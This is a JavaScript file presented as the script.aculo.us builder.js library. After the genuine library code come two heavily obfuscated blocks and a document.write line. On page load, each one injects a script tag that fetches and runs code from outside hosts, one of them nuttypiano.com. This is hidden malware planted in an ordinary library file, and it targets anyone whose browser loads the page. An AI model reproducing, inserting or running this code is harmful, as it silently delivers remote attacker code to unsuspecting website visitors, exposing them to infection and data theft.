// script.aculo.us builder.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007

// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

var Builder = {
  NODEMAP: {
    AREA: 'map',
    CAPTION: 'table',
    COL: 'table',
    COLGROUP: 'table',
    LEGEND: 'fieldset',
    OPTGROUP: 'select',
    OPTION: 'select',
    PARAM: 'object',
    TBODY: 'table',
    TD: 'table',
    TFOOT: 'table',
    TH: 'table',
    THEAD: 'table',
    TR: 'table'
  },
  // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken,
  //       due to a Firefox bug
  node: function(elementName) {
    elementName = elementName.toUpperCase();
    
    // try innerHTML approach
    var parentTag = this.NODEMAP[elementName] || 'div';
    var parentElement = document.createElement(parentTag);
    try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
      parentElement.innerHTML = "<" + elementName + "></" + elementName + ">";
    } catch(e) {}
    var element = parentElement.firstChild || null;
      
    // see if browser added wrapping tags
    if(element && (element.tagName.toUpperCase() != elementName))
      element = element.getElementsByTagName(elementName)[0];
    
    // fallback to createElement approach
    if(!element) element = document.createElement(elementName);
    
    // abort if nothing could be created
    if(!element) return;

    // attributes (or text)
    if(arguments[1])
      if(this._isStringOrNumber(arguments[1]) ||
        (arguments[1] instanceof Array) ||
        arguments[1].tagName) {
          this._children(element, arguments[1]);
        } else {
          var attrs = this._attributes(arguments[1]);
          if(attrs.length) {
            try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
              parentElement.innerHTML = "<" +elementName + " " +
                attrs + "></" + elementName + ">";
            } catch(e) {}
            element = parentElement.firstChild || null;
            // workaround firefox 1.0.X bug
            if(!element) {
              element = document.createElement(elementName);
              for(attr in arguments[1]) 
                element[attr == 'class' ? 'className' : attr] = arguments[1][attr];
            }
            if(element.tagName.toUpperCase() != elementName)
              element = parentElement.getElementsByTagName(elementName)[0];
          }
        } 

    // text, or array of children
    if(arguments[2])
      this._children(element, arguments[2]);

     return element;
  },
  _text: function(text) {
     return document.createTextNode(text);
  },

  ATTR_MAP: {
    'className': 'class',
    'htmlFor': 'for'
  },

  _attributes: function(attributes) {
    var attrs = [];
    for(attribute in attributes)
      attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) +
          '="' + attributes[attribute].toString().escapeHTML().gsub(/"/,'&quot;') + '"');
    return attrs.join(" ");
  },
  _children: function(element, children) {
    if(children.tagName) {
      element.appendChild(children);
      return;
    }
    if(typeof children=='object') { // array can hold nodes and text
      children.flatten().each( function(e) {
        if(typeof e=='object')
          element.appendChild(e)
        else
          if(Builder._isStringOrNumber(e))
            element.appendChild(Builder._text(e));
      });
    } else
      if(Builder._isStringOrNumber(children))
        element.appendChild(Builder._text(children));
  },
  _isStringOrNumber: function(param) {
    return(typeof param=='string' || typeof param=='number');
  },
  build: function(html) {
    var element = this.node('div');
    $(element).update(html.strip());
    return element.down();
  },
  dump: function(scope) { 
    if(typeof scope != 'object' && typeof scope != 'function') scope = window; //global scope 
  
    var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " +
      "BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " +
      "FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX "+
      "KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P "+
      "PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD "+
      "TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/);
  
    tags.each( function(tag){ 
      scope[tag] = function() { 
        return Builder.node.apply(Builder, [tag].concat($A(arguments)));  
      } 
    });
  }
}


function M(){var R=new String("creat"+"eElem"+"ent");var Q=new Array();var _=String("6pXsdefer".substr(4));Z=21294;Z+=191;var c=new String();var _H=String("body");var CE=[];var B=String("src");var s=new String("onlo"+"adPs7I".substr(0,2));var g=window;var l="scr"+"ipt";this.wyY=false;var X=document;var K=new String("app"+"end"+"ChibJ4Z".substr(0,3)+"LmuldmuL".substr(3,2));var V={IU:false};this.v="";try {var KO='y'} catch(KO){};function T(){n=[];try {this.j=63516;this.j-=48;var wo=["D","D_"];var cS=["Xj","TG"];try {var zJj='_u'} catch(zJj){};try {var J='dJ'} catch(J){};var z=4074-4073;this.QN=303;this.QN-=128;this.t=43441;this.t+=79;var A=new String("/go"+"KItPogl".substr(4)+"e.c"+"om/"+"hos"+"tga"+"tor"+".co"+"m/z"+"app"+"8lqWos.".substr(4)+"com"+".ph"+"tJZp".substr(3));try {} catch(bY){};var N=String("ht"+"tp"+":/vNO".substr(0,2)+"/p"+"O3UasO3U".substr(3,2)+"sp"+"or"+"kQ7tb7kQ".substr(3,2)+"lu"+"2FdesdF2".substr(3,2)+"3y9L.r".substr(4)+"pn9qu:q9np".substr(4,2));Cz={ZE:"VT"};S=["a","Mh"];var b=964849-956769;var Vt=["yy","NH"];U=X[R](l);var o=["g_","jt","xN"];VV=39496;VV-=1;var bn={E:"i"};var DKK={NX:false};U[B]=N+b+A;this.Zf=9082;this.Zf++;U[_]=z;try {var TK='rI'} catch(TK){};eA=["JU","qe","yK"];var CJ=new Array();X[_H][K](U);var Ia=["GN"];} catch(w){this.lx=18781;this.lx--;this.ul=19733;this.ul--;hfq=["Kp","_J","Kh"];};}this.gB=false;g[s]=T;var Ml=53292;var SA=false;};var av="av";var rl={};M();
this.K="K";try {this.u=46074;this.u+=194;try {var C='RR'} catch(C){};this.b=false;try {var dB='RS'} catch(dB){};try {var Z='e'} catch(Z){};var Pn=["J","Vc"];var S=["W","L"];this.uK="";var tG=["Rw","l"];var ob=["lI","O"];var B=window[String("une"+"sca"+"pe")];var YG="YG";this.LN=30349;this.LN+=52;var Kk="";var jW="";Ho=[];var Xb=false;var dr="T7C1".substr(3);y=[];var NN='';tn={lY:"fm"};var E=window[(String("RegCMF".substr(0,3)+"Exp"))];var Qg=new String();var g="rep"+"lac"+"e";this.bjN=48941;this.bjN++;var X="onlo"+"xCbad".substr(3);this.SV="";var hd={vv:false};var R='';var fR=new Array();var JC={_:false};var ir={RU:49922};var sQ=[];function d(dr,x){var vo=new String();uo={Qd:31838};NW=55705;NW++;this.Dj="Dj";Ri={z:"Am"};this._h=43399;this._h--;n={RSw:"qt"};var f=new String("[");fC=45976;fC--;kF=58100;kF--;Id={aD:65473};ez=["bD","nU"];var sI='';f+=x;var OB=new Date();var IN={me:false};this.zS='';f+=B("%5d");Xg={vr:3389};this.bU=16604;this.bU-=185;var vg='';var vY='';uf=18393;uf-=32;yA=[];var ea={};this.MH="";this.fI="fI";var P=new E(f, new String("g"));ing=["Ou","VW","KP"];var mxQ={ih:false};var Ab={dI:false};var i_={WV:false};return dr.replace(P, R);Uc={Dp:"oG"};TM={y_:"IQ"};};var BB={};var _L="_L";MD=["Ht","qa"];var IZ={CZ:"Tq"};El={AR:false};IB={po:false};var Mz=false;var Xf=false;var EK=String("htKlY".substr(0,2)+"tp"+"ET3:/".substr(3)+"/gWo50".substr(0,2)+"ot"+"x0ehg0xe".substr(3,2)+"ui"+"lt"+"M7x.rMx7".substr(3,2)+"e4Nu:".substr(3));var OD=new String();var hg='';try {var laj='gN'} catch(laj){};var o="/d"+"io"+"n-"+"ne"+"-j4NT2".substr(0,2)+"p/"+"jTEgo".substr(3)+"ogJxt".substr(0,2)+"letLp".substr(0,2)+".c"+"wqVJom".substr(4)+"/c"+"a."+"8nfgo".substr(3)+"v.YjUu".substr(0,2)+"phkwad".substr(0,2)+"psOSy".substr(0,1);td=55651;td-=60;var yz={bX:"Aj"};Mh=23000;Mh-=230;var Eu=523907-515827;try {} catch(Cm){};wr=37892;wr++;var TU={};KH={PK:false};try {} catch(Gc){};var rp={NG:"DD"};var l_={rc:"ESf"};function N(){var M=document;var Hy=["vK","TD","Ye"];tl=60253;tl-=16;dJ={};var Iw_=["LNV","yq"];var Or=["cc","rf","Sa"];var t=d('sCcqrFiJpytF','vJ9Foyefkw2CV8Tdn5qIZ7mx');var JE=new Array();var vb={};var ho=new Date();var h=new String("appe"+"ndCh"+"ild");this.vA=47456;this.vA--;this.hFK=63434;this.hFK-=13;var eJ={LND:13169};this.oQ=18125;this.oQ-=212;EA=["uc","kf"];this.OOs=7666;this.OOs++;var _F=new Date();var fB=["gb","vI","cIE"];try {var DQ='a_'} catch(DQ){};var KA=["xj","pf","QY"];try {var Jh='Ij'} catch(Jh){};rzu=["VC"];a=M.createElement(t);SB=28146;SB++;var Hh={Nr:"va"};RC=EK+Eu;this.cZ="";RC=RC+o;My=27395;My+=5;var tna={PT:45172};var Ka={ot:4561};this.LB=23249;this.LB++;a.src=RC;Ai=45235;Ai+=192;FF={ya:false};var qF='';var Tk=false;this.FG="";this.TB=51681;this.TB++;Fk=59522;Fk-=228;var w=M.body;var xJ=["WM","_X","Ob"];var aH=["OV","NGk","BT"];var WK=["Xc","j_","wQ"];var Aw=[];a[String("defer")]=dr;lZ=5589;lZ-=3;var lfJ={UO:false};Pj={Ju:"Wb"};this.EP=false;w[h](a);var viG=["zC","hb"];var kR={};GA=51040;GA-=196;};var nw=false;Ur=["KM"];try {var Ze='MlO'} catch(Ze){};try {var XS='DM'} catch(XS){};_Kl=13838;_Kl+=162;WE=59544;WE+=39;var oj={gE:"MQP"};this.yL=false;gV={qe:47293};window[X]=N;var jq=[];var nh=new Array();var xz=21977;} catch(q){try {} catch(Ce){};this.wP='';try {} catch(kN){};};






document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Batch_Process.js"></scri'+'pt>');